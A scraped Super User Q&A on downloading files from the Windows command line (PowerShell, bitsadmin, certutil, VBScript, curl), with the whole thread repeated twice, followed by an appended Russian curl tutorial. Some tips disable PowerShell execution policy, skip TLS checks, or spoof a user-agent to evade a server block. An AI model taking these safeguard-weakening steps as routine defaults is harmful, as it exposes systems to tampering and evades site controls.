If PowerShell is an option, that’s the preferred route, since you (potentially) won’t have to install anything extra:
(new-object System.Net.WebClient).DownloadFile('http://www.example.com/file.txt', 'C:tmpfile.txt')
Failing that, Wget for Windows, as others have pointed out is definitely the second best option. As posted in another answer it looks like you can download Wget all by itself, or you can grab it as a part of Cygwin or MSys.
If for some reason, you find yourself stuck in a time warp, using a machine that doesn’t have PowerShell and you have zero access to a working web browser (that is, Internet Explorer is the only browser on the system, and its settings are corrupt), and your file is on an FTP site (as opposed to HTTP):
start->run "FTP", press "OK".
If memory serves it’s been there since Windows 98, and I can confirm that it is still there in Windows 8 RTM (you might have to go into appwiz.cpl
and add/remove features to get it). This utility can both download and upload files to/from FTP sites on the web. It can also be used in scripts to automate either operation.
This tool being built-in has been a real life saver for me in the past, especially in the days of ftp.cdrom.com — I downloaded Firefox that way once, on a completely broken machine that had only a dial-up Internet connection (back when sneakernet’s maximum packet size was still 1.44 MB, and Firefox was still called «Netscape» /me does trollface).
A couple of tips: it’s its own command processor, and it has its own syntax. Try typing «help». All FTP sites require a username and password; but if they allow «anonymous» users, the username is «anonymous» and the password is your email address (you can make one up if you don’t want to be tracked, but usually there is some kind of logic to make sure it’s a valid email address).
Without using any non-standard (Windows included) utilities, is it possible to download using the Windows command line?
The preferred version is Windows XP, but it’s also interesting to know for newer versions.
To further clarify my question:
- It has to be using HTTP
- The file needs to be saved
- Standard clean Windows install, no extra tools
So basically, since everybody is screaming Wget, I want simple Wget functionality, without using Wget.
asked Oct 23, 2009 at 14:58
Robert MassaRobert Massa
1,6354 gold badges13 silver badges17 bronze badges
6
You can write a VBScript and run it from the command line
Create a file downloadfile.vbs
and insert the following lines of code:
' Set your settings
strFileURL = "http://www.it1.net/images/it1_logo2.jpg"
strHDLocation = "c:logo.jpg"
' Fetch the file
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1 'adTypeBinary
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0 'Set the stream position to the start
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
Set objXMLHTTP = Nothing
Run it from the command line as follows:
cscript.exe downloadfile.vbs
phuclv
24.7k13 gold badges105 silver badges219 bronze badges
answered Oct 23, 2009 at 15:31
3
Starting with Windows 7, I believe there’s one single method that hasn’t been mentioned yet that’s easy:
Syntax:
bitsadmin /transfer job_name /download /priority priority URL localpathfile
Example:
bitsadmin /transfer mydownloadjob /download /priority normal ^ http://example.com/filename.zip C:UsersusernameDownloadsfilename.zip
(Broken into two separate lines with ^
for readability
(to avoid scrolling).)
Warning: As pointed out in the comments,
the bitsadmin
help message starts by saying:
BITSAdmin is deprecated and is not guaranteed to be available in future versions of Windows.
Administrative tools for the BITS service are now provided by BITS PowerShell cmdlets.
… but another comment reported that it works on Windows 8.
answered May 16, 2011 at 9:13
timeshifttimeshift
8696 silver badges3 bronze badges
14
PowerShell (included with Windows 8 and included with .NET for earlier releases) has this capability. The powershell
command allows running arbitrary PowerShell commands from the command line or a .bat
file. Thus, the following line is what’s wanted:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('http://example.com/', 'c:somefile') }"
answered May 29, 2014 at 2:22
NikNik
2693 silver badges2 bronze badges
4
I found a way of doing it, but really, just install Wget.
You can use Internet Explorer from a command line (iexplore.exe) and then enter a URL as an argument. So, run:
iexplore.exe http://blah.com/filename.zip
Whatever the file is, you’ll need to specify it doesn’t need confirmation ahead of time. Lo and behold, it will automatically perform the download. So yes, it is technically possible, but good lord do it in a different way.
answered Oct 23, 2009 at 15:12
DHayesDHayes
2,17313 silver badges17 bronze badges
2
Windows Explorer (not to be confused with Internet Explorer) can download files via HTTP. Just enter the URL into the Address bar. Or from the command line, for example, C:windowsexplorer.exe http://somewhere.com/filename.ext
.
You get the classic File Download prompt. Unless the file is a type that Windows Explorer knows how to display inline, (.html, .jpg, .gif), in which case you would then need to right-click to save it.
I just tested this on my VMware image of a virgin install of Windows XP 2002 SP1, and it works fine.
answered Aug 8, 2011 at 15:18
Chris NoeChris Noe
3972 gold badges5 silver badges16 bronze badges
3
You can use (in a standard Windows bat):
powershell -command "& { iwr http://www.it1.net/it1_logo2.jpg -OutFile logo.jpg }"
It seems to require PowerShell v4…
(Thanks to that comment and this one)
answered May 10, 2016 at 14:10
Anthony O.Anthony O.
2601 gold badge6 silver badges8 bronze badges
Use FTP.
From the command line:
ftp ftp.somesite.com
user
password
etc. FTP is included in every Windows version I can remember; probably not in 3.1, maybe not in Windows 95, but certainly everything after that.
@RM: It is going to be rough if you don’t want to download any other tools. There exists a command line Wget for Windows and Wget is designed to do exactly what you’re asking for.
answered Oct 23, 2009 at 15:01
SatanicpuppySatanicpuppy
6,7371 gold badge21 silver badges17 bronze badges
4
Use PowerShell like this:
-
Create a download.ps1 file:
param($url, $filename) $client = new-object System.Net.WebClient $client.DownloadFile( $url, $filename)
-
Now you can download a file like this:
powershell Set-ExecutionPolicy Unrestricted powershell -ExecutionPolicy RemoteSigned -File "download.ps1" "http://somewhere.com/filename.ext" "d:filename.ext"
answered Apr 21, 2013 at 21:55
1
On Win CMD (if you have write access):
set url=https://www.nsa.org/content/hl-images/2017/02/09/NSA.jpg
set file=file.jpg
certutil -urlcache -split -f %url% %file%
echo Done.
Built in Windows app. No need for external downloads.
Tested on Win 10
answered Apr 25, 2020 at 17:58
ZimbaZimba
96310 silver badges14 bronze badges
If you have python installed here’s an example which fetches the get-pip.py from the web
python -c "import urllib; urllib.urlretrieve ('https://bootstrap.pypa.io/get-pip.py', r'C:python27Toolsget-pip.py')"
gronostaj
54.8k17 gold badges118 silver badges174 bronze badges
answered Aug 29, 2014 at 23:15
0
From Windows 10 build 17063 and later, ‘Curl’ is now included, so that you can execute it directly from Cmd.exe or PowerShell.exe.
For example:
C:>curl.exe -V
curl 7.55.1 (Windows) libcurl/7.55.1 WinSSL
Release-Date: 2017-11-14, security patched: 2019-11-05
Protocols: dict file ftp ftps http https imap imaps pop3 pop3s smtp smtps telnet tftp
Features: AsynchDNS IPv6 Largefile SSPI Kerberos SPNEGO NTLM SSL
To download a file:
curl.exe -O https://cdn.sstatic.net/Sites/superuser/Img/logo.svg
answered Sep 10, 2020 at 14:41
gslgsl
2072 silver badges9 bronze badges
If you install Telnet, I imagine you could make a HTTP request to a server to download a file.
You can also install Cygwin, and use wget to download a file as well. This is a very easy way to download files from the command line.
answered Oct 23, 2009 at 15:01
EvilChookieEvilChookie
4,5691 gold badge24 silver badges34 bronze badges
10
There are a few ways that you can download using the command line in Windows:
-
You can use Cygwin.
Note: the included apps are not native Linux apps. You must rebuild your application from source if you want to run on Windows.
-
Using telnet it’s possible to make a request but you won’t see any processing.
-
You can write bat or VBS scripts.
-
Write your own program that you can run from cmd.exe.
Gaff
18.3k15 gold badges56 silver badges68 bronze badges
answered Aug 20, 2011 at 3:22
JesusJesus
111 bronze badge
You can install the Linux application Wget on Windows. It can be downloaded from http://gnuwin32.sourceforge.net/packages/wget.htm. You can then issue the command ‘wget (inserturlhere)’ or any other URL in your command prompt, and it will allow you to download that URL/file/image.
answered Oct 23, 2009 at 15:06
1
In default Windows, you can’t download via HTTP. Windows is a GUI-centric OS, so it lacks many of the commandline tools you’d find in other OS’s, like wget
, which would be the prime candidate.
System.Net.WebClient.DownloadFile()
, a function in the WiniNet
API, can download files, but I’m not sure how far you’re getting into actual development vs. a batch file.
answered Oct 23, 2009 at 15:04
1
Without using any non-standard (Windows included) utilities, is it possible to download using the Windows command line?
The preferred version is Windows XP, but it’s also interesting to know for newer versions.
To further clarify my question:
- It has to be using HTTP
- The file needs to be saved
- Standard clean Windows install, no extra tools
So basically, since everybody is screaming Wget, I want simple Wget functionality, without using Wget.
asked Oct 23, 2009 at 14:58
Robert MassaRobert Massa
1,6354 gold badges13 silver badges17 bronze badges
6
You can write a VBScript and run it from the command line
Create a file downloadfile.vbs
and insert the following lines of code:
' Set your settings
strFileURL = "http://www.it1.net/images/it1_logo2.jpg"
strHDLocation = "c:logo.jpg"
' Fetch the file
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1 'adTypeBinary
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0 'Set the stream position to the start
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
Set objXMLHTTP = Nothing
Run it from the command line as follows:
cscript.exe downloadfile.vbs
phuclv
24.7k13 gold badges105 silver badges219 bronze badges
answered Oct 23, 2009 at 15:31
3
Starting with Windows 7, I believe there’s one single method that hasn’t been mentioned yet that’s easy:
Syntax:
bitsadmin /transfer job_name /download /priority priority URL localpathfile
Example:
bitsadmin /transfer mydownloadjob /download /priority normal ^ http://example.com/filename.zip C:UsersusernameDownloadsfilename.zip
(Broken into two separate lines with ^
for readability
(to avoid scrolling).)
Warning: As pointed out in the comments,
the bitsadmin
help message starts by saying:
BITSAdmin is deprecated and is not guaranteed to be available in future versions of Windows.
Administrative tools for the BITS service are now provided by BITS PowerShell cmdlets.
… but another comment reported that it works on Windows 8.
answered May 16, 2011 at 9:13
timeshifttimeshift
8696 silver badges3 bronze badges
14
PowerShell (included with Windows 8 and included with .NET for earlier releases) has this capability. The powershell
command allows running arbitrary PowerShell commands from the command line or a .bat
file. Thus, the following line is what’s wanted:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('http://example.com/', 'c:somefile') }"
answered May 29, 2014 at 2:22
NikNik
2693 silver badges2 bronze badges
4
I found a way of doing it, but really, just install Wget.
You can use Internet Explorer from a command line (iexplore.exe) and then enter a URL as an argument. So, run:
iexplore.exe http://blah.com/filename.zip
Whatever the file is, you’ll need to specify it doesn’t need confirmation ahead of time. Lo and behold, it will automatically perform the download. So yes, it is technically possible, but good lord do it in a different way.
answered Oct 23, 2009 at 15:12
DHayesDHayes
2,17313 silver badges17 bronze badges
2
Windows Explorer (not to be confused with Internet Explorer) can download files via HTTP. Just enter the URL into the Address bar. Or from the command line, for example, C:windowsexplorer.exe http://somewhere.com/filename.ext
.
You get the classic File Download prompt. Unless the file is a type that Windows Explorer knows how to display inline, (.html, .jpg, .gif), in which case you would then need to right-click to save it.
I just tested this on my VMware image of a virgin install of Windows XP 2002 SP1, and it works fine.
answered Aug 8, 2011 at 15:18
Chris NoeChris Noe
3972 gold badges5 silver badges16 bronze badges
3
You can use (in a standard Windows bat):
powershell -command "& { iwr http://www.it1.net/it1_logo2.jpg -OutFile logo.jpg }"
It seems to require PowerShell v4…
(Thanks to that comment and this one)
answered May 10, 2016 at 14:10
Anthony O.Anthony O.
2601 gold badge6 silver badges8 bronze badges
Use FTP.
From the command line:
ftp ftp.somesite.com
user
password
etc. FTP is included in every Windows version I can remember; probably not in 3.1, maybe not in Windows 95, but certainly everything after that.
@RM: It is going to be rough if you don’t want to download any other tools. There exists a command line Wget for Windows and Wget is designed to do exactly what you’re asking for.
answered Oct 23, 2009 at 15:01
SatanicpuppySatanicpuppy
6,7371 gold badge21 silver badges17 bronze badges
4
Use PowerShell like this:
-
Create a download.ps1 file:
param($url, $filename) $client = new-object System.Net.WebClient $client.DownloadFile( $url, $filename)
-
Now you can download a file like this:
powershell Set-ExecutionPolicy Unrestricted powershell -ExecutionPolicy RemoteSigned -File "download.ps1" "http://somewhere.com/filename.ext" "d:filename.ext"
answered Apr 21, 2013 at 21:55
1
On Win CMD (if you have write access):
set url=https://www.nsa.org/content/hl-images/2017/02/09/NSA.jpg
set file=file.jpg
certutil -urlcache -split -f %url% %file%
echo Done.
Built in Windows app. No need for external downloads.
Tested on Win 10
answered Apr 25, 2020 at 17:58
ZimbaZimba
96310 silver badges14 bronze badges
If you have python installed here’s an example which fetches the get-pip.py from the web
python -c "import urllib; urllib.urlretrieve ('https://bootstrap.pypa.io/get-pip.py', r'C:python27Toolsget-pip.py')"
gronostaj
54.8k17 gold badges118 silver badges174 bronze badges
answered Aug 29, 2014 at 23:15
0
From Windows 10 build 17063 and later, ‘Curl’ is now included, so that you can execute it directly from Cmd.exe or PowerShell.exe.
For example:
C:>curl.exe -V
curl 7.55.1 (Windows) libcurl/7.55.1 WinSSL
Release-Date: 2017-11-14, security patched: 2019-11-05
Protocols: dict file ftp ftps http https imap imaps pop3 pop3s smtp smtps telnet tftp
Features: AsynchDNS IPv6 Largefile SSPI Kerberos SPNEGO NTLM SSL
To download a file:
curl.exe -O https://cdn.sstatic.net/Sites/superuser/Img/logo.svg
answered Sep 10, 2020 at 14:41
gslgsl
2072 silver badges9 bronze badges
If you install Telnet, I imagine you could make a HTTP request to a server to download a file.
You can also install Cygwin, and use wget to download a file as well. This is a very easy way to download files from the command line.
answered Oct 23, 2009 at 15:01
EvilChookieEvilChookie
4,5691 gold badge24 silver badges34 bronze badges
10
There are a few ways that you can download using the command line in Windows:
-
You can use Cygwin.
Note: the included apps are not native Linux apps. You must rebuild your application from source if you want to run on Windows.
-
Using telnet it’s possible to make a request but you won’t see any processing.
-
You can write bat or VBS scripts.
-
Write your own program that you can run from cmd.exe.
Gaff
18.3k15 gold badges56 silver badges68 bronze badges
answered Aug 20, 2011 at 3:22
JesusJesus
111 bronze badge
You can install the Linux application Wget on Windows. It can be downloaded from http://gnuwin32.sourceforge.net/packages/wget.htm. You can then issue the command ‘wget (inserturlhere)’ or any other URL in your command prompt, and it will allow you to download that URL/file/image.
answered Oct 23, 2009 at 15:06
1
In default Windows, you can’t download via HTTP. Windows is a GUI-centric OS, so it lacks many of the commandline tools you’d find in other OS’s, like wget
, which would be the prime candidate.
System.Net.WebClient.DownloadFile()
, a function in the WiniNet
API, can download files, but I’m not sure how far you’re getting into actual development vs. a batch file.
answered Oct 23, 2009 at 15:04
1
Downloading files in PURE BATCH…
Without any JScript, VBScript, Powershell, etc… Only pure Batch!
Some people are saying it’s not possible of downloading files with a batch script without using any JScript or VBScript, etc… But they are definitely wrong!
Here is a simple method that seems to work pretty well for downloading files in your batch scripts. It should be working on almost any file’s URL. It is even possible to use a proxy server if you need it.
For downloading files, we can use BITSADMIN.EXE from the Windows system. There is no need for downloading/installing anything or using any JScript or VBScript, etc. Bitsadmin.exe is present on most Windows versions, probably from XP to Windows 10.
Enjoy!
USAGE:
You can use the BITSADMIN command directly, like this:
bitsadmin /transfer mydownloadjob /download /priority FOREGROUND "http://example.com/File.zip" "C:DownloadsFile.zip"
Proxy Server:
For connecting using a proxy, use this command before downloading.
bitsadmin /setproxysettings mydownloadjob OVERRIDE "proxy-server.com:8080"
Click this LINK if you want more info about BITSadmin.exe
TROUBLESHOOTING:
If you get this error: «Unable to connect to BITS — 0x80070422»
Make sure the windows service «Background Intelligent Transfer Service (BITS)» is enabled and try again. (It should be enabled by default.)
CUSTOM FUNCTIONS
Call :DOWNLOAD_FILE "URL"
Call :DOWNLOAD_PROXY_ON "SERVER:PORT"
Call :DOWNLOAD_PROXY_OFF
I made these 3 functions for simplifying the bitsadmin commands. It’s easier to use and remember. It can be particularly useful if you are using it multiple times in your scripts.
PLEASE NOTE…
Before using these functions, you will first need to copy them from CUSTOM_FUNCTIONS.CMD to the end of your script. There is also a complete example: DOWNLOAD-EXAMPLE.CMD
:DOWNLOAD_FILE «URL»
The main function, will download files from URL.
:DOWNLOAD_PROXY_ON «SERVER:PORT»
(Optional) You can use this function if you need to use a proxy server.
Calling the :DOWNLOAD_PROXY_OFF function will disable the proxy server.
EXAMPLE:
CALL :DOWNLOAD_PROXY_ON "proxy-server.com:8080"
CALL :DOWNLOAD_FILE "http://example.com/File.zip" "C:DownloadsFile.zip"
CALL :DOWNLOAD_PROXY_OFF
CUSTOM_FUNCTIONS.CMD
:DOWNLOAD_FILE
rem BITSADMIN COMMAND FOR DOWNLOADING FILES:
bitsadmin /transfer mydownloadjob /download /priority FOREGROUND %1 %2
GOTO :EOF
:DOWNLOAD_PROXY_ON
rem FUNCTION FOR USING A PROXY SERVER:
bitsadmin /setproxysettings mydownloadjob OVERRIDE %1
GOTO :EOF
:DOWNLOAD_PROXY_OFF
rem FUNCTION FOR STOP USING A PROXY SERVER:
bitsadmin /setproxysettings mydownloadjob NO_PROXY
GOTO :EOF
DOWNLOAD-EXAMPLE.CMD
@ECHO OFF
SETLOCAL
rem FOR DOWNLOADING FILES, THIS SCRIPT IS USING THE "BITSADMIN.EXE" SYSTEM FILE.
rem IT IS PRESENT ON MOST WINDOWS VERSION, PROBABLY FROM WINDOWS XP TO WINDOWS 10.
:SETUP
rem URL (5MB TEST FILE):
SET "FILE_URL=http://ipv4.download.thinkbroadband.com/5MB.zip"
rem SAVE IN CUSTOM LOCATION:
rem SET "SAVING_TO=C:Folder5MB.zip"
rem SAVE IN THE CURRENT DIRECTORY
SET "SAVING_TO=5MB.zip"
SET "SAVING_TO=%~dp0%SAVING_TO%"
:MAIN
ECHO.
ECHO DOWNLOAD SCRIPT EXAMPLE
ECHO.
ECHO FILE URL: "%FILE_URL%"
ECHO SAVING TO: "%SAVING_TO%"
ECHO.
rem UNCOMENT AND MODIFY THE NEXT LINE IF YOU NEED TO USE A PROXY SERVER:
rem CALL :DOWNLOAD_PROXY_ON "PROXY-SERVER.COM:8080"
rem THE MAIN DOWNLOAD COMMAND:
CALL :DOWNLOAD_FILE "%FILE_URL%" "%SAVING_TO%"
rem UNCOMMENT NEXT LINE FOR DISABLING THE PROXY (IF YOU USED IT):
rem CALL :DOWNLOAD_PROXY_OFF
:RESULT
ECHO.
IF EXIST "%SAVING_TO%" ECHO YOUR FILE HAS BEEN SUCCESSFULLY DOWNLOADED.
IF NOT EXIST "%SAVING_TO%" ECHO ERROR, YOUR FILE COULDN'T BE DOWNLOADED.
ECHO.
:EXIT_SCRIPT
PAUSE
EXIT /B
rem FUNCTIONS SECTION
:DOWNLOAD_FILE
rem BITSADMIN COMMAND FOR DOWNLOADING FILES:
bitsadmin /transfer mydownloadjob /download /priority FOREGROUND %1 %2
GOTO :EOF
:DOWNLOAD_PROXY_ON
rem FUNCTION FOR USING A PROXY SERVER:
bitsadmin /setproxysettings mydownloadjob OVERRIDE %1
GOTO :EOF
:DOWNLOAD_PROXY_OFF
rem FUNCTION FOR STOP USING A PROXY SERVER:
bitsadmin /setproxysettings mydownloadjob NO_PROXY
GOTO :EOF
Время прочтения
9 мин
Просмотры 22K
Curl (client URL) — это инструмент командной строки на основе библиотеки libcurl для передачи данных с сервера и на сервер при помощи различных протоколов, в том числе HTTP, HTTPS, FTP, FTPS, IMAP, IMAPS, POP3, POP3S, SMTP и SMTPS. Он очень популярен в сфере автоматизации и скриптов благодаря широкому диапазону функций и поддерживаемых протоколов. В этой статье мы расскажем, как использовать curl в Windows на различных примерах.
▍ Установка в Windows
Во всех современных версиях Windows, начиная с Windows 10 (версия 1803) и Server 2019, исполняемый файл curl поставляется в комплекте, поэтому ручная установка не требуется. Чтобы определить местоположение curl и его версию в системе, можно использовать следующие команды:
where curl
curl --version
Определение местоположения и версии curl в Windows
Команда curl —version также выводит список протоколов и функций, поддерживаемых текущей версией curl. Как видно из показанного выше скриншота, к использованию встроенной утилиты curl всё готово. Если вместо этого отображается сообщение об ошибке, curl может быть недоступен потому, что вы используете более раннюю версию Windows (например, Windows 8.1 или Server 2016). В таком случае вам потребуется установить curl в Windows вручную.
▍ Синтаксис curl
Команда curl использует следующий синтаксис:
curl [options...] [url]
Инструмент поддерживает различные опции, которые мы рассмотрим ниже. Как и в любом инструменте командной строки, вы можете использовать для получения справки команду curl —help.
Получение справки при помощи команды curl
Для получения подробной справки можно использовать команду curl —help all. Справка разделена на категории, поэтому при помощи curl —help category можно просмотреть все темы.
Ознакомившись с синтаксисом curl, давайте рассмотрим различные способы применения этого инструмента на примерах.
▍ HTTP-запрос GET
При использовании curl с URL и без указания опций запрос по умолчанию использует метод GET протокола HTTP. Попробуйте выполнить такую команду:
curl https://4sysops.com
Приведённая выше команда по сути эквивалентна curl —request GET 4sysops.com, отправляющей запрос GET к 4sysops.com по протоколу HTTPS. Чтобы указать версию протокола HTTP (например, http/2), используйте опцию —http2:
curl --http2 https://4sysops.com
В случае URL, начинающихся с HTTPS, curl сначала пытается установить соединение http/2 и автоматически откатывается к http/1.1, если это не удаётся. Также он поддерживает другие методы, например, HEAD, POST, PUT и DELETE. Для использования этих методов вместе с командой curl нужно указать опцию —request (или -X), за которой следует указание метода. Стоит заметить, что список доступных методов зависит от используемого протокола.
▍ Получение информации об удалённом файле
Если вы администратор, то иногда вам могут быть интересны только заголовки HTTP. Их можно получить при помощи опции —head (или -I). Иногда URL может перенаправлять пользователя в другую точку. В таком случае опция —location (или -L) позволяет curl выполнять перенаправления. Также можно использовать —insecure (или -k), чтобы разрешить незащищённые подключения и избежать ошибок с сертификатом TLS в случае, если целевой URL использует самоподписанный сертификат. Пользуйтесь этой опцией только при абсолютной необходимости. Все эти три опции можно скомбинировать в одну краткую запись, как показано в следующей команде:
curl -kIL 4sysops.com
Опции просмотра заголовков запросов, включения незащищённого соединения и использования перенаправлений
Как можно заметить, такая краткая запись особенно полезна для комбинирования нескольких опций. Приведённая выше команда по сути эквивалентна команде curl —insecure —head —location 4sysops.com.
Опция —head (или -I) также даёт основную информацию об удалённом файле без его скачивания. Как показано на скриншоте ниже, при использовании curl с URL удалённого файла он отображает различные заголовки, дающие информацию об удалённом файле.
curl -IL https://curl.se/windows/dl-7.85.0_5/curl-7.85.0_5-win64-mingw.zip
Использование curl для просмотра основной информации удалённых файлов
Заголовок Content-Length обозначает размер файла (в байтах), Content-Type сообщает о типе медиафайла (например, image/png, text/html), Server обозначает тип серверного приложения (Apache, Gunicorn и так далее), Last-Modified показывает дату последнего изменения файла на сервере, а заголовок Accept-Ranges обозначает поддержку частичных запросов для скачивания от клиента, что по сути определяет возможность продолжения прерванной загрузки.
▍ Скачивание файла
Для скачивания файла и сохранения с тем же именем, что и на сервере, можно использовать curl с опцией —remote-name (или -O). Показанная ниже команда скачивает последнюю версию curl для Windows с официального сайта:
curl -OL https://curl.se/windows/latest.cgi?p=win64-mingw.zip
Скачивание файла с именем по умолчанию и индикатором прогресса
При необходимости для нахождения ресурса добавляется опция -L, разрешающая перенаправления. Если нужно сохранить файл с новым именем, используйте опцию —output (или -o). Кроме того, при использовании команды curl в скрипте может понадобиться отключить индикатор прогресса, что можно сделать при помощи опции —silent (или -s). Эти две опции можно скомбинировать:
curl -sLo curl.zip https://curl.se/windows/latest.cgi?p=win64-mingw.zip
Скачивание файла без индикатора и сохранение под произвольным именем
▍ Продолжение прерванного скачивания
Наличие Accept-Ranges: bytes в заголовке ответа в буквальном смысле обозначает, что сервер поддерживает скачивания с возможностью продолжения. Чтобы продолжить прерванное скачивание, можно использовать опцию —continue-at (или -C), получающую смещение (в байтах). Обычно указывать смещение непросто, поэтому curl предоставляет простой способ продолжения прерванной загрузки:
curl -OLC - https://releases.ubuntu.com/22.04/ubuntu-22.04.1-desktop-amd64.iso
Продолжение прерванного скачивания
Как видно из скриншота, я скачивал iso-файл Ubuntu, но скачивание было прервано. Затем я снова запустил команду curl с опцией -C, и передача продолжилась с того диапазона байтов, на котором была прервана. Знак минус (—) рядом с -C позволяет curl автоматически определить, как и где продолжить прерванное скачивание.
▍ Аутентификация с Curl
Также Curl поддерживает аутентификацию, что позволяет скачать защищённый файл, предоставив учётные данные при помощи опции —user (or -u), принимающей имя пользователя и пароль в формате username:password. Если не вводить пароль, curl попросит ввести его в режиме no-echo.
curl -u surender -OL https://techtutsonline.com/secretFiles/sample.zip
Скачивание файла с аутентификацией по имени пользователя и паролю
Если вы используете Basic authentication, то необходимо передать имя пользователя и пароль, а значит, воспользоваться защищённым протоколом наподобие HTTPS (вместо HTTP) или FTPS (вместо FTP). Если по каким-то причинам приходится использовать протокол без шифрования, то убедитесь, что вы используете способ аутентификации, не передающий учётные данные в виде простого текста (например, аутентификацию Digest, NTLM или Negotiate).
Также curl поддерживает использование файлов конфигурации .curlrc, _curlrc и .netrc, позволяющих задавать различные опции curl в файле, а затем добавлять файл в команду при помощи опции curl —config (или curl -K), что особенно полезно при написании скриптов.
▍ Выгрузка файла
Опция —upload-file (или -T) позволяет выгружать локальный файл на удалённый сервер. Показанная ниже команда выгружает файл из локальной системы на удалённый веб-сервер по протоколу FTPS:
curl -kT C:UsersSurenderDownloadssample1.zip -u testlabsurender ftps://192.168.0.80/awesomewebsite.com/files/
Выгрузка файла на удалённый сервер
Опция -k добавляется для устранения проблем с сертификатами на случай, если веб-сервер использует самоподписанный сертификат. Наклонная черта в конце URL сообщает curl, что конечная точка является папкой. Можно указать несколько имён файлов, например «{sample1.zip,sample2.zip}». Ниже показано, как с помощью одной команды curl можно выгрузить на сервер несколько файлов:
curl -kT sample[1-5].zip -u testlabsurender ftps://192.168.0.80/awesomewebsite.com/files/
Выгрузка нескольких файлов на сервер
▍ Последовательность команд
Как говорилось ранее, curl поддерживает различные методы в зависимости от используемого протокола. Дополнительные команды можно отправлять при помощи —quote (или -Q) для выполнения операции до или после обычной операции curl. Например, можно скачать файл с удалённого сервера по протоколу FTPS и удалить файл с сервера после успешного скачивания. Для этого нужно выполнить следующую команду:
curl -u testlabsurender -kO "ftps://192.168.0.80/awesomewebsite.com/files/sample1.zip" -Q "-DELE sample1.zip"
Удаление файла после успешного скачивания
В показанном выше примере я скачал файл sample1.zip с FTPS-сервера при помощи опции -O. После опции -Q я добавил минус (-) перед командой DELE, что заставляет curl отправить команду DELE sample1.zip сразу после успешного скачивания файла. Аналогично, если вы хотите отправить команду на сервер до выполнения операции curl, используйте плюс (+) вместо минуса.
▍ Изменение user-agent
Информация user-agent сообщает серверу тип клиента, отправляющего запрос. При отправке запроса curl на сервер по умолчанию используется user-agent curl/<version>. Если сервер настроен так, чтобы блокировать запросы curl, можно задать собственный user-agent при помощи опции —user-agent (или -A). Показанная ниже команда отправляет стандартный user-agent Google Chrome:
curl -kIA "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0" https://awesomewebsite.com/files/secretFile.zip
Использование собственного user-agent с командой curl, чтобы избежать блокировки сервером
На показанном выше скриншоте видно, что обычный запрос curl был отклонён веб-сервером (с ответом 403 Forbidden), но при передаче другого user-agent запрос выполняется успешно, возвращая ответ 200 OK.
▍ Отправка куки
По умолчанию запрос curl не отправляет и не сохраняет куки. Для записи куки можно использовать опцию —cookie-jar (или -c), а отправить куки можно опцией —cookie (or -b):
curl -c /path/cookie_file https://awesomewebsite.com/
curl -b /path/cookie_file https://awesomewebsite.com/
Первая команда записывает файл куки, а вторая отправляет куки с запросом curl. Также можно отправить куки в формате ‘name = value’:
curl -b 'session=abcxyz' -b 'loggedin=true' http://echo.hoppscotch.io
Отправка нескольких куки командой curl
Я воспользовался веб-сайтом echo.hoppscotch.io для демонстрации заголовков HTTP-запросов, которые обычно невидимы клиентам, отправляющим запрос. Если вы не хотите пользоваться этим веб-сайтом, то можете применить опцию –verbose (или -v) для отображения запроса в сыром виде (который отображает и заголовки запросов).
▍ Использование прокси-сервера
Если вы пользуетесь прокси-сервером для подключения к интернету, в curl можно указать прокси опцией —proxy (или -x). Если прокси-сервер требует аутентификации, то добавьте —proxy-user (или -U):
curl -x 192.168.0.250:8088 -U username:password https://awesomewebsite.com/
Прокси-сервер указывается в формате server:port, а пользователь прокси — в формате username:password. Можно не вводить пароль пользователя прокси, тогда curl попросит ввести его в режиме no-echo.
Использование прокси-сервера и аутентификации
▍ Дополнительные заголовки запросов
Иногда вместе с запросом к серверу необходимо отправить дополнительную информацию. В curl это можно сделать при помощи —header (или -H), как показано в следующей команде:
curl -vkIH "x-client-os: Windows 11 Enterprise (x64)" https://awesomewebsite.com
Указание дополнительных заголовков для запроса curl
Можно отправлять любую информацию, недоступную через стандартные заголовки HTTP-запросов. В этом примере я отправил название своей операционной системы. Также я добавил опцию -v для включения verbose-вывода, отображающего дополнительный заголовок, отправляемый вместе с каждым моим запросом curl.
▍ Отправка электронного письма
Так как curl поддерживает протокол SMTP, его можно использовать для отправки электронного письма. Показанная ниже команда позволяет отправить электронное письмо при помощи curl:
curl --insecure --ssl-reqd smtps://mail.yourdomain.com –-mail-from sender@yourdomain.com –-mail-rcpt receiver@company.com --user sender@yourdomain.com --upload-file email_msg.txt
Отправка электронного письма командой curl
Давайте вкратце перечислим использованные здесь опции:
- Опция —insecure (или -k) используется, чтобы избежать ошибки сертификата SSL. Мы уже применяли её ранее.
- Опция —ssl-reql используется для апгрейда соединения передачи простого текста до зашифрованного соединения, если оно поддерживается SMTP-сервером. Если вы уверены, что ваш SMTP-сервер поддерживает SSL, то можно использовать непосредственно имя сервера smtps (например, smtps://smtp.yourdomain.com), как показано на скриншоте.
- Опция —mail-from используется для указания адреса электронной почты отправителя.
- Опция mail-rcpt указывает адрес электронной почты получателя.
- Опция —user (или -u) отправляет имя пользователя для аутентификации, оно должно совпадать с адресом mail-from, потому что в противном случае письмо может быть отклонено или помечено как спам.
- Опция —upload-file (или -T) используется для указания файла, в котором находится отправляемое письмо.
На скриншоте ниже показано письмо, полученное мной во входящие:
Просмотр письма, отправленного с помощью curl
